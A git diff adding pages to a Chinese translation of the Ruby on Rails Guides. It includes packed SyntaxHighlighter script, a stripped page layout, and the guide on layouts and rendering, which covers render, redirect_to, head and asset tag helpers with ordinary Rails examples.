M("(?<27>[\\\\w-]+)\\\\s*:\\\\s*(?<1T>[\\\\w-%#]+|\\\\[.*?\\\\]|\\".*?\\"|\'.*?\')\\\\s*;?","g");(j=s.X(k))!=N;){K o=j.1T.Q(/^[\'"]|[\'"]$/g,"");I(o!=N&&m.1A(o)){o=m.X(o);o=o.2V.L>0?o.2V.1e(/\\s*,\\s*/):[]}l[j.27]=o}g={1F:g,1n:C(i,l)};g.1n.1D!=N&&d.U(g)}H d},1M:6(a,b){K c=J.35(a,b),d=N,h=e.13;I(c.L!==0)O(K g=0;g")==o-3){m=m.4h(0,o-3);s=R}l=s?m:l}I((i.1t||"")!="")k.1t=i.1t;k.1D=j;d.2Q(k);b=d.2F(l);I((i.1c||"")!="")b.1c=i.1c;i.2G.74(b,i)}}},2E:6(a){w(1P,"4k",6(){e.1M(a)})}};e.2E=e.2E;e.1M=e.1M;e.2L=6(a,b,c){J.1T=a;J.P=b;J.L=a.L;J.23=c;J.1V=N};e.2L.Z.1q=6(){H J.1T};e.4l=6(a){6 b(j,l){O(K m=0;md)1N;Y I(g.P==c.P&&g.L>c.L)a[b]=N;Y I(g.P>=c.P&&g.P\'+c+""},3Q:6(a,b){K c="",d=a.1e("\\n").L,h=2u(J.V("2i-1s")),g=J.V("2z-1s-2t");I(g==R)g=(h+d-1).1q().L;Y I(3R(g)==R)g=0;O(K i=0;i\'+j+"":"")+i)}H a},4f:6(a){H a?"<4a>"+a+"":""},4b:6(a,b){6 c(l){H(l=l?l.1V||g:g)?l+" ":""}O(K d=0,h="",g=J.V("1D",""),i=0;i|&1y;2R\\s*\\/?&1G;/2T;I(e.13.46==R)b=b.Q(h,"\\n");I(e.13.44==R)b=b.Q(h,"");b=b.1e("\\n");h=/^\\s*/;g=4Q;O(K i=0;i0;i++){K k=b[i];I(x(k).L!=0){k=h.X(k);I(k==N){a=a;1N a}g=1Q.4q(k[0].L,g)}}I(g>0)O(i=0;i\'+(J.V("16")?e.16.1H(J):"")+\'<3Z 5z="0" 5H="0" 5J="0">\'+J.4f(J.V("1t"))+"<3T><3P>"+(1u?\'<2d 1g="1u">\'+J.3Q(a)+"":"")+\'<2d 1g="17">\'+b+""},2F:6(a){I(a===N)a="";J.17=a;K b=J.3Y("T");b.3X=J.1H(a);J.V("16")&&w(p(b,".16"),"5c",e.16.2b);J.V("3V-17")&&w(p(b,".17"),"56",f);H b},2Q:6(a){J.1c=""+1Q.5d(1Q.5n()*5k).1q();e.1Y.2A[t(J.1c)]=J;J.1n=C(e.2v,a||{});I(J.V("2k")==R)J.1n.16=J.1n.1u=11},5j:6(a){a=a.Q(/^\\s+|\\s+$/g,"").Q(/\\s+/g,"|");H"\\\\b(?:"+a+")\\\\b"},5f:6(a){J.28={18:{1I:a.18,23:"1k"},1b:{1I:a.1b,23:"1k"},17:1f M("(?<18>"+a.18.1m+")(?<17>.*?)(?<1b>"+a.1b.1m+")","5o")}}};H e}();1j 2e!="1d"&&(2e.1v=1v);',62,441,'||||||function|||||||||||||||||||||||||||||||||||||return|if|this|var|length|XRegExp|null|for|index|replace|true||div|push|getParam|call|exec|else|prototype||false|lastIndex|config|arguments|RegExp|toolbar|code|left|captureNames|slice|right|id|undefined|split|new|class|addToken|indexOf|typeof|script|className|source|params|substr|apply|toString|String|line|title|gutter|SyntaxHighlighter|_xregexp|strings|lt|html|test|OUTSIDE_CLASS|match|brush|document|target|gt|getHtml|regex|global|join|style|highlight|break|concat|window|Math|isRegExp|throw|value|brushes|brushName|space|alert|vars|http|syntaxhighlighter|expandSource|size|css|case|font|Fa|name|htmlScript|dA|can|handler|gm|td|exports|color|in|href|first|discoveredBrushes|light|collapse|object|cache|getButtonHtml|trigger|pattern|getLineHtml|nbsp|numbers|parseInt|defaults|com|items|www|pad|highlighters|execute|focus|func|all|getDiv|parentNode|navigator|INSIDE_CLASS|regexList|hasFlag|Match|useScriptTags|hasNamedCapture|text|help|init|br|input|gi|Error|values|span|list|250|height|width|screen|top|500|tagName|findElements|getElementsByTagName|aboutDialog|_blank|appendChild|charAt|Array|copyAsGlobal|setFlag|highlighter_|string|attachEvent|nodeName|floor|backref|output|the|TypeError|sticky|Za|iterate|freezeTokens|scope|type|textarea|alexgorbatchev|version|margin|2010|005896|gs|regexLib|body|center|align|noBrush|require|childNodes|DTD|xhtml1|head|org|w3|url|preventDefault|container|tr|getLineNumbersHtml|isNaN|userAgent|tbody|isLineHighlighted|quick|void|innerHTML|create|table|links|auto|smart|tab|stripBrs|tabs|bloggerMode|collapsed|plain|getCodeLinesHtml|caption|getMatchesHtml|findMatches|figureOutLineNumbers|removeNestedMatches|getTitleHtml|brushNotHtmlScript|substring|createElement|Highlighter|load|HtmlScript|Brush|pre|expand|multiline|min|Can|ignoreCase|find|blur|extended|toLowerCase|aliases|addEventListener|innerText|textContent|wasn|select|createTextNode|removeChild|option|same|frame|xmlns|dtd|twice|1999|equiv|meta|htmlscript|transitional|1E3|expected|PUBLIC|DOCTYPE|on|W3C|XHTML|TR|EN|Transitional||configured|srcElement|Object|after|run|dblclick|matchChain|valueOf|constructor|default|switch|click|round|execAt|forHtmlScript|token|gimy|functions|getKeywords|1E6|escape|within|random|sgi|another|finally|supply|MSIE|ie|toUpperCase|catch|returnValue|definition|event|border|imsx|constructing|one|Infinity|from|when|Content|cellpadding|flags|cellspacing|try|xhtml|Type|spaces|2930402|hosted_button_id|lastIndexOf|donate|active|development|keep|to|xclick|_s|Xml|please|like|you|paypal|cgi|cmd|webscr|bin|highlighted|scrollbars|aspScriptTags|phpScriptTags|sort|max|scriptScriptTags|toolbar_item|_|command|command_|number|getElementById|doubleQuotedString|singleLinePerlComments|singleLineCComments|multiLineCComments|singleQuotedString|multiLineDoubleQuotedString|xmlComments|alt|multiLineSingleQuotedString|If|https|1em|000|fff|background|5em|xx|bottom|75em|Gorbatchev|large|serif|CDATA|continue|utf|charset|content|About|family|sans|Helvetica|Arial|Geneva|3em|nogutter|Copyright|syntax|close|write|2004|Alex|open|JavaScript|highlighter|July|02|replaceChild|offset|83'.split('|'),0,{})) diff --git a/v4.1/layout.html b/v4.1/layout.html new file mode 100644 index 0000000..e1c4c18 --- /dev/null +++ b/v4.1/layout.html @@ -0,0 +1,468 @@ + + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+
+ +
+
+ + + +
+
+ +
+
+
+ + + + + + + + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+
+ +
+
+ + + +
+
+ +
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + + + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/layouts_and_rendering.html b/v4.1/layouts_and_rendering.html new file mode 100644 index 0000000..48d5739 --- /dev/null +++ b/v4.1/layouts_and_rendering.html @@ -0,0 +1,1489 @@ + + + + + + + +Rails 布局和视图渲染 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+
+ +
+
+

Rails 布局和视图渲染

本文介绍 Action Controller 和 Action View 中布局的基本功能。

读完本文,你将学到:

+
    +
  • 如何使用 Rails 内建的各种渲染方法;
  • +
  • 如何创建具有多个内容区域的布局;
  • +
  • 如何使用局部视图去除重复;
  • +
  • 如何使用嵌套布局(子模板);
  • +
+ + + + +
+
+ +
+
+
+

1 概览:各组件之间的协作

本文关注 MVC 架构中控制器和视图之间的交互。你可能已经知道,控制器的作用是处理请求,但经常会把繁重的操作交给模型完成。返回响应时,控制器会把一些操作交给视图完成。本文要说明的就是控制器交给视图的操作是怎么完成的。

总的来说,这个过程涉及到响应中要发送什么内容,以及调用哪个方法创建响应。如果响应是个完整的视图,Rails 还要做些额外工作,把视图套入布局,有时还要渲染局部视图。后文会详细介绍整个过程。

2 创建响应

从控制器的角度来看,创建 HTTP 响应有三种方法:

+
    +
  • 调用 render 方法,向浏览器发送一个完整的响应;
  • +
  • 调用 redirect_to 方法,向浏览器发送一个 HTTP 重定向状态码;
  • +
  • 调用 head 方法,向浏览器发送只含报头的响应;
  • +
+

2.1 渲染视图

你可能已经听说过 Rails 的开发原则之一是“多约定,少配置”。默认渲染视图的处理就是这一原则的完美体现。默认情况下,Rails 中的控制器会渲染路由对应的视图。例如,有如下的 BooksController 代码:

+
+class BooksController < ApplicationController
+end
+
+
+
+

在路由文件中有如下定义:

+
+resources :books
+
+
+
+

而且有个名为 app/views/books/index.html.erb 的视图文件:

+
+<h1>Books are coming soon!</h1>
+
+
+
+

那么,访问 /books 时,Rails 会自动渲染视图 app/views/books/index.html.erb,网页中会看到显示有“Books are coming soon!”。

网页中显示这些文字没什么用,所以后续你可能会创建一个 Book 模型,然后在 BooksController 中添加 index 动作:

+
+class BooksController < ApplicationController
+  def index
+    @books = Book.all
+  end
+end
+
+
+
+

注意,基于“多约定,少配置”原则,在 index 动作末尾并没有指定要渲染视图,Rails 会自动在控制器的视图文件夹中寻找 action_name.html.erb 模板,然后渲染。在这个例子中,Rails 渲染的是 app/views/books/index.html.erb 文件。

如果要在视图中显示书籍的属性,可以使用 ERB 模板:

+
+<h1>Listing Books</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Summary</th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+
+<% @books.each do |book| %>
+  <tr>
+    <td><%= book.title %></td>
+    <td><%= book.content %></td>
+    <td><%= link_to "Show", book %></td>
+    <td><%= link_to "Edit", edit_book_path(book) %></td>
+    <td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
+  </tr>
+<% end %>
+</table>
+
+<br>
+
+<%= link_to "New book", new_book_path %>
+
+
+
+

真正处理渲染过程的是 ActionView::TemplateHandlers 的子类。本文不做深入说明,但要知道,文件的扩展名决定了要使用哪个模板处理程序。从 Rails 2 开始,ERB 模板(含有嵌入式 Ruby 代码的 HTML)的标准扩展名是 .erb,Builder 模板(XML 生成器)的标准扩展名是 .builder

2.2 使用 render 方法

大多数情况下,ActionController::Base#render 方法都能满足需求,而且还有多种定制方式,可以渲染 Rails 模板的默认视图、指定的模板、文件、行间代码或者什么也不渲染。渲染的内容格式可以是文本,JSON 或 XML。而且还可以设置响应的内容类型和 HTTP 状态码。

如果不想使用浏览器直接查看调用 render 方法得到的结果,可以使用 render_to_string 方法。render_to_stringrender 的用法完全一样,不过不会把响应发送给浏览器,而是直接返回字符串。

2.2.1 什么都不渲染

或许 render 方法最简单的用法是什么也不渲染:

+
+render nothing: true
+
+
+
+

如果使用 cURL 查看请求,会得到一些输出:

+
+$ curl -i 127.0.0.1:3000/books
+HTTP/1.1 200 OK
+Connection: close
+Date: Sun, 24 Jan 2010 09:25:18 GMT
+Transfer-Encoding: chunked
+Content-Type: */*; charset=utf-8
+X-Runtime: 0.014297
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+$
+
+
+
+

可以看到,响应的主体是空的(Cache-Control 之后没有数据),但请求本身是成功的,因为 Rails 把响应码设为了“200 OK”。调用 render 方法时可以设置 :status 选项修改状态码。这种用法可在 Ajax 请求中使用,因为此时只需告知浏览器请求已经完成。

或许不应该使用 render :nothing,而要用后面介绍的 head 方法。head 方法用起来更灵活,而且只返回 HTTP 报头。

2.2.2 渲染动作的视图

如果想渲染同个控制器中的其他模板,可以把视图的名字传递给 render 方法:

+
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render "edit"
+  end
+end
+
+
+
+

如果更新失败,会渲染同个控制器中的 edit.html.erb 模板。

如果不想用字符串,还可使用 Symbol 指定要渲染的动作:

+
+def update
+  @book = Book.find(params[:id])
+  if @book.update(book_params)
+    redirect_to(@book)
+  else
+    render :edit
+  end
+end
+
+
+
+
2.2.3 渲染其他控制器中的动作模板

如果想渲染其他控制器中的模板该怎么做呢?还是使用 render 方法,指定模板的完整路径即可。例如,如果控制器 AdminProductsControllerapp/controllers/admin 文件夹中,可使用下面的方式渲染 app/views/products 文件夹中的模板:

+
+render "products/show"
+
+
+
+

因为参数中有个斜线,所以 Rails 知道这个视图属于另一个控制器。如果想让代码的意图更明显,可以使用 :template 选项(Rails 2.2 及先前版本必须这么做):

+
+render template: "products/show"
+
+
+
+
2.2.4 渲染任意文件

render 方法还可渲染程序之外的视图(或许多个程序共用一套视图):

+
+render "/u/apps/warehouse_app/current/app/views/products/show"
+
+
+
+

因为参数以斜线开头,所以 Rails 将其视为一个文件。如果想让代码的意图更明显,可以使用 :file 选项(Rails 2.2+ 必须这么做)

+
+render file: "/u/apps/warehouse_app/current/app/views/products/show"
+
+
+
+

:file 选项的值是文件系统中的绝对路径。当然,你要对使用的文件拥有相应权限。

默认情况下,渲染文件时不会使用当前程序的布局。如果想让 Rails 把文件套入布局,要指定 layout: true 选项。

如果在 Windows 中运行 Rails,就必须使用 :file 选项指定文件的路径,因为 Windows 中的文件名和 Unix 格式不一样。

2.2.5 小结

上述三种渲染方式的作用其实是一样的。在 BooksController 控制器的 update 动作中,如果更新失败后想渲染 views/books 文件夹中的 edit.html.erb 模板,下面这些用法都能达到这个目的:

+
+render :edit
+render action: :edit
+render "edit"
+render "edit.html.erb"
+render action: "edit"
+render action: "edit.html.erb"
+render "books/edit"
+render "books/edit.html.erb"
+render template: "books/edit"
+render template: "books/edit.html.erb"
+render "/path/to/rails/app/views/books/edit"
+render "/path/to/rails/app/views/books/edit.html.erb"
+render file: "/path/to/rails/app/views/books/edit"
+render file: "/path/to/rails/app/views/books/edit.html.erb"
+
+
+
+

你可以根据自己的喜好决定使用哪种方式,总的原则是,使用符合代码意图的最简单方式。

2.2.6 使用 render 方法的 :inline 选项

如果使用 :inline 选项指定了 ERB 代码,render 方法就不会渲染视图。如下所示的用法完全可行:

+
+render inline: "<% products.each do |p| %><p><%= p.name %></p><% end %>"
+
+
+
+

但是很少这么做。在控制器中混用 ERB 代码违反了 MVC 架构原则,也让程序的其他开发者难以理解程序的逻辑思路。请使用单独的 ERB 视图。

默认情况下,行间渲染使用 ERB 模板。你可以使用 :type 选项指定使用其他处理程序:

+
+render inline: "xml.p {'Horrid coding practice!'}", type: :builder
+
+
+
+
2.2.7 渲染文本

调用 render 方法时指定 :plain 选项,可以把没有标记语言的纯文本发给浏览器:

+
+render plain: "OK"
+
+
+
+

渲染纯文本主要用于 Ajax 或无需使用 HTML 的网络服务。

默认情况下,使用 :plain 选项渲染纯文本,不会套用程序的布局。如果想使用布局,可以指定 layout: true 选项。

2.2.8 渲染 HTML

调用 render 方法时指定 :html 选项,可以把 HTML 字符串发给浏览器:

+
+render html: "<strong>Not Found</strong>".html_safe
+
+
+
+

这种方法可用来渲染 HTML 片段。如果标记很复杂,就要考虑使用模板文件了。

如果字符串对 HTML 不安全,会进行转义。

2.2.9 渲染 JSON

JSON 是一种 JavaScript 数据格式,很多 Ajax 库都用这种格式。Rails 内建支持把对象转换成 JSON,经渲染后再发送给浏览器。

+
+render json: @product
+
+
+
+

在需要渲染的对象上无需调用 to_json 方法,如果使用了 :json 选项,render 方法会自动调用 to_json

2.2.10 渲染 XML

Rails 也内建支持把对象转换成 XML,经渲染后再发回给调用者:

+
+render xml: @product
+
+
+
+

在需要渲染的对象上无需调用 to_xml 方法,如果使用了 :xml 选项,render 方法会自动调用 to_xml

2.2.11 渲染普通的 JavaScript

Rails 能渲染普通的 JavaScript:

+
+render js: "alert('Hello Rails');"
+
+
+
+

这种方法会把 MIME 设为 text/javascript,再把指定的字符串发给浏览器。

2.2.12 渲染原始的主体

调用 render 方法时使用 :body 选项,可以不设置内容类型,把原始的内容发送给浏览器:

+
+render body: "raw"
+
+
+
+

只有不在意内容类型时才可使用这个选项。大多数时候,使用 :plain:html 选项更合适。

如果没有修改,这种方式返回的内容类型是 text/html,因为这是 Action Dispatch 响应默认使用的内容类型。

2.2.13 render 方法的选项

render 方法一般可接受四个选项:

+
    +
  • :content_type
  • +
  • :layout
  • +
  • :location
  • +
  • :status
  • +
+
2.2.13.1 :content_type 选项

默认情况下,Rails 渲染得到的结果内容类型为 text/html;如果使用 :json 选项,内容类型为 application/json;如果使用 :xml 选项,内容类型为 application/xml。如果需要修改内容类型,可使用 :content_type 选项

+
+render file: filename, content_type: "application/rss"
+
+
+
+
2.2.13.2 :layout 选项

render 方法的大多数选项渲染得到的结果都会作为当前布局的一部分显示。后文会详细介绍布局。

:layout 选项告知 Rails,在当前动作中使用指定的文件作为布局:

+
+render layout: "special_layout"
+
+
+
+

也可以告知 Rails 不使用布局:

+
+render layout: false
+
+
+
+
2.2.13.3 :location 选项

:location 选项可以设置 HTTP Location 报头:

+
+render xml: photo, location: photo_url(http://github.com/photo)
+
+
+
+
2.2.13.4 :status 选项

Rails 会自动为生成的响应附加正确的 HTTP 状态码(大多数情况下是 200 OK)。使用 :status 选项可以修改状态码:

+
+render status: 500
+render status: :forbidden
+
+
+
+

Rails 能理解数字状态码和对应的符号,如下所示:

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
响应类别HTTP 状态码符号
信息100:continue
101:switching_protocols
102:processing
成功200:ok
201:created
202:accepted
203:non_authoritative_information
204:no_content
205:reset_content
206:partial_content
207:multi_status
208:already_reported
226:im_used
重定向300:multiple_choices
301:moved_permanently
302:found
303:see_other
304:not_modified
305:use_proxy
306:reserved
307:temporary_redirect
308:permanent_redirect
客户端错误400:bad_request
401:unauthorized
402:payment_required
403:forbidden
404:not_found
405:method_not_allowed
406:not_acceptable
407:proxy_authentication_required
408:request_timeout
409:conflict
410:gone
411:length_required
412:precondition_failed
413:request_entity_too_large
414:request_uri_too_long
415:unsupported_media_type
416:requested_range_not_satisfiable
417:expectation_failed
422:unprocessable_entity
423:locked
424:failed_dependency
426:upgrade_required
428:precondition_required
429:too_many_requests
431:request_header_fields_too_large
服务器错误500:internal_server_error
501:not_implemented
502:bad_gateway
503:service_unavailable
504:gateway_timeout
505:http_version_not_supported
506:variant_also_negotiates
507:insufficient_storage
508:loop_detected
510:not_extended
511:network_authentication_required
+
2.2.14 查找布局

查找布局时,Rails 首先查看 app/views/layouts 文件夹中是否有和控制器同名的文件。例如,渲染 PhotosController 控制器中的动作会使用 app/views/layouts/photos.html.erb(或 app/views/layouts/photos.builder)。如果没找到针对控制器的布局,Rails 会使用 app/views/layouts/application.html.erbapp/views/layouts/application.builder。如果没有 .erb 布局,Rails 会使用 .builder 布局(如果文件存在)。Rails 还提供了多种方法用来指定单个控制器和动作使用的布局。

2.2.14.1 指定控制器所用布局

在控制器中使用 layout 方法,可以改写默认使用的布局约定。例如:

+
+class ProductsController < ApplicationController
+  layout "inventory"
+  #...
+end
+
+
+
+

这么声明之后,ProductsController 渲染的所有视图都将使用 app/views/layouts/inventory.html.erb 文件作为布局。

要想指定整个程序使用的布局,可以在 ApplicationController 类中使用 layout 方法:

+
+class ApplicationController < ActionController::Base
+  layout "main"
+  #...
+end
+
+
+
+

这么声明之后,整个程序的视图都会使用 app/views/layouts/main.html.erb 文件作为布局。

2.2.14.2 运行时选择布局

可以使用一个 Symbol,在处理请求时选择布局:

+
+class ProductsController < ApplicationController
+  layout :products_layout
+
+  def show
+    @product = Product.find(params[:id])
+  end
+
+  private
+    def products_layout
+      @current_user.special? ? "special" : "products"
+    end
+
+end
+
+
+
+

如果当前用户是特殊用户,会使用一个特殊布局渲染产品视图。

还可使用行间方法,例如 Proc,决定使用哪个布局。如果使用 Proc,其代码块可以访问 controller 实例,这样就能根据当前请求决定使用哪个布局:

+
+class ProductsController < ApplicationController
+  layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
+end
+
+
+
+
2.2.14.3 条件布局

在控制器中指定布局时可以使用 :only:except 选项。这两个选项的值可以是一个方法名或者一个方法名数组,这些方法都是控制器中的动作:

+
+class ProductsController < ApplicationController
+  layout "product", except: [:index, :rss]
+end
+
+
+
+

这么声明后,除了 rssindex 动作之外,其他动作都使用 product 布局渲染视图。

2.2.14.4 布局继承

布局声明按层级顺序向下顺延,专用布局比通用布局优先级高。例如:

+
    +
  • application_controller.rb +
  • +
+
+
+class ApplicationController < ActionController::Base
+  layout "main"
+end
+
+
+
+ +
    +
  • posts_controller.rb +
  • +
+
+
+class PostsController < ApplicationController
+end
+
+
+
+ +
    +
  • special_posts_controller.rb +
  • +
+
+
+class SpecialPostsController < PostsController
+  layout "special"
+end
+
+
+
+ +
    +
  • old_posts_controller.rb +
  • +
+
+
+class OldPostsController < SpecialPostsController
+  layout false
+
+  def show
+    @post = Post.find(params[:id])
+  end
+
+  def index
+    @old_posts = Post.older
+    render layout: "old"
+  end
+  # ...
+end
+
+
+
+

在这个程序中:

+
    +
  • 一般情况下,视图使用 main 布局渲染;
  • +
  • +PostsController#index 使用 main 布局;
  • +
  • +SpecialPostsController#index 使用 special 布局;
  • +
  • +OldPostsController#show 不用布局;
  • +
  • +OldPostsController#index 使用 old 布局;
  • +
+
2.2.15 避免双重渲染错误

大多数 Rails 开发者迟早都会看到一个错误消息:Can only render or redirect once per action(动作只能渲染或重定向一次)。这个提示很烦人,也很容易修正。出现这个错误的原因是,没有理解 render 的工作原理。

例如,下面的代码会导致这个错误:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+  render action: "regular_show"
+end
+
+
+
+

如果 @book.special? 的结果是 true,Rails 开始渲染,把 @book 变量导入 special_show 视图中。但是,show 动作并不会就此停止运行,当 Rails 运行到动作的末尾时,会渲染 regular_show 视图,导致错误出现。解决的办法很简单,确保在一次代码运行路线中只调用一次 renderredirect_to 方法。有一个语句可以提供帮助,那就是 and return。下面的代码对上述代码做了修改:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show" and return
+  end
+  render action: "regular_show"
+end
+
+
+
+

千万别用 && return 代替 and return,因为 Ruby 语言操作符优先级的关系,&& return 根本不起作用。

注意,ActionController 能检测到是否显式调用了 render 方法,所以下面这段代码不会出错:

+
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+end
+
+
+
+

如果 @book.special? 的结果是 true,会渲染 special_show 视图,否则就渲染默认的 show 模板。

2.3 使用 redirect_to 方法

响应 HTTP 请求的另一种方法是使用 redirect_to。如前所述,render 告诉 Rails 构建响应时使用哪个视图(以及其他静态资源)。redirect_to 做的事情则完全不同:告诉浏览器向另一个地址发起新请求。例如,在程序中的任何地方使用下面的代码都可以重定向到 photos 控制器的 index 动作:

+
+redirect_to photos_url
+
+
+
+

redirect_to 方法的参数与 link_tourl_for 一样。有个特殊的重定向,返回到前一个页面:

+
+redirect_to :back
+
+
+
+
2.3.1 设置不同的重定向状态码

调用 redirect_to 方法时,Rails 会把 HTTP 状态码设为 302,即临时重定向。如果想使用其他的状态码,例如 301(永久重定向),可以设置 :status 选项:

+
+redirect_to photos_path, status: 301
+
+
+
+

render 方法的 :status 选项一样,redirect_to 方法的 :status 选项同样可使用数字状态码或符号。

2.3.2 renderredirect_to 的区别

有些经验不足的开发者会认为 redirect_to 方法是一种 goto 命令,把代码从一处转到别处。这么理解是不对的。执行到 redirect_to 方法时,代码会停止运行,等待浏览器发起新请求。你需要告诉浏览器下一个请求是什么,并返回 302 状态码。

下面通过实例说明。

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    render action: "index"
+  end
+end
+
+
+
+

在这段代码中,如果 @book 变量的值为 nil 很可能会出问题。记住,render :action 不会执行目标动作中的任何代码,因此不会创建 index 视图所需的 @books 变量。修正方法之一是不渲染,使用重定向:

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    redirect_to action: :index
+  end
+end
+
+
+
+

这样修改之后,浏览器会向 index 动作发起新请求,执行 index 方法中的代码,一切都能正常运行。

这种方法有个缺点,增加了浏览器的工作量。浏览器通过 /books/1show 动作发起请求,控制器做了查询,但没有找到对应的图书,所以返回 302 重定向响应,告诉浏览器访问 /books/。浏览器收到指令后,向控制器的 index 动作发起新请求,控制器从数据库中取出所有图书,渲染 index 模板,将其返回浏览器,在屏幕上显示所有图书。

在小型程序中,额外增加的时间不是个问题。如果响应时间很重要,这个问题就值得关注了。下面举个虚拟的例子演示如何解决这个问题:

+
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    @books = Book.all
+    flash.now[:alert] = "Your book was not found"
+    render "index"
+  end
+end
+
+
+
+

在这段代码中,如果指定 ID 的图书不存在,会从模型中取出所有图书,赋值给 @books 实例变量,然后直接渲染 index.html.erb 模板,并显示一个 Flash 消息,告知用户出了什么问题。

2.4 使用 head 构建只返回报头的响应

head 方法可以只把报头发送给浏览器。还可使用意图更明确的 render :nothing 达到同样的目的。head 方法的参数是 HTTP 状态码的符号形式(参见前文表格),选项是一个 Hash,指定报头名和对应的值。例如,可以只返回报错的报头:

+
+head :bad_request
+
+
+
+

生成的报头如下:

+
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+
+

或者使用其他 HTTP 报头提供其他信息:

+
+head :created, location: photo_path(@photo)
+
+
+
+

生成的报头如下:

+
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+
+
+
+

3 布局结构

Rails 渲染响应的视图时,会把视图和当前模板结合起来。查找当前模板的方法前文已经介绍过。在布局中可以使用三种工具把各部分合在一起组成完整的响应:

+
    +
  • 静态资源标签
  • +
  • +yieldcontent_for +
  • +
  • 局部视图
  • +
+

3.1 静态资源标签帮助方法

静态资源帮助方法用来生成链接到 Feed、JavaScript、样式表、图片、视频和音频的 HTML 代码。Rails 提供了六个静态资源标签帮助方法:

+
    +
  • auto_discovery_link_tag
  • +
  • javascript_include_tag
  • +
  • stylesheet_link_tag
  • +
  • image_tag
  • +
  • video_tag
  • +
  • audio_tag
  • +
+

这六个帮助方法可以在布局或视图中使用,不过 auto_discovery_link_tagjavascript_include_tagstylesheet_link_tag 最常出现在布局的 <head> 中。

静态资源标签帮助方法不会检查指定位置是否存在静态资源,假定你知道自己在做什么,只负责生成对应的链接。

auto_discovery_link_tag 帮助方法生成的 HTML,大多数浏览器和 Feed 阅读器都能用来自动识别 RSS 或 Atom Feed。auto_discovery_link_tag 接受的参数包括链接的类型(:rss:atom),传递给 url_for 的 Hash 选项,以及该标签使用的 Hash 选项:

+
+<%= auto_discovery_link_tag(:rss, {action: "feed"},
+  {title: "RSS Feed"}) %>
+
+
+
+

auto_discovery_link_tag 的标签选项有三个:

+
    +
  • +:rel:指定链接 rel 属性的值,默认值为 "alternate"
  • +
  • +:type:指定 MIME 类型,不过 Rails 会自动生成正确的 MIME 类型;
  • +
  • +:title:指定链接的标题,默认值是 :type 参数值的全大写形式,例如 "ATOM""RSS"
  • +
+
3.1.2 使用 javascript_include_tag 链接 JavaScript 文件

javascript_include_tag 帮助方法为指定的每个资源生成 HTML script 标签。

如果启用了 Asset Pipeline,这个帮助方法生成的链接指向 /assets/javascripts/ 而不是 Rails 旧版中使用的 public/javascripts。链接的地址由 Asset Pipeline 伺服。

Rails 程序或引擎中的 JavaScript 文件可存放在三个位置:app/assetslib/assetsvendor/assets。详细说明参见 Asset Pipeline 中的“静态资源的组织方式”一节。

文件的地址可使用相对文档根目录的完整路径,或者是 URL。例如,如果想链接到 app/assetslib/assetsvendor/assets 文件夹中名为 javascripts 的子文件夹中的文件,可以这么做:

+
+<%= javascript_include_tag "main" %>
+
+
+
+

Rails 生成的 script 标签如下:

+
+<script src='http://github.com/assets/main.js'></script>
+
+
+
+

对这个静态资源的请求由 Sprockets gem 伺服。

